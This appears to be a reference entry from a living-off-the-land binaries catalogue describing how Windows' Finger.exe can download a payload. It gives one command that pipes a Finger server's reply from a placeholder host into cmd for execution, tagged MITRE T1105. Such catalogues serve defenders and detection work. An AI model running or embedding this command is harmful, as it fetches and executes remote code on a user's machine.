Finger.exe

Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

Download

Download malicious payload

finger user@example.host.com | more +2 | cmd

Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process. — MITRE: T1105 — Privileges: User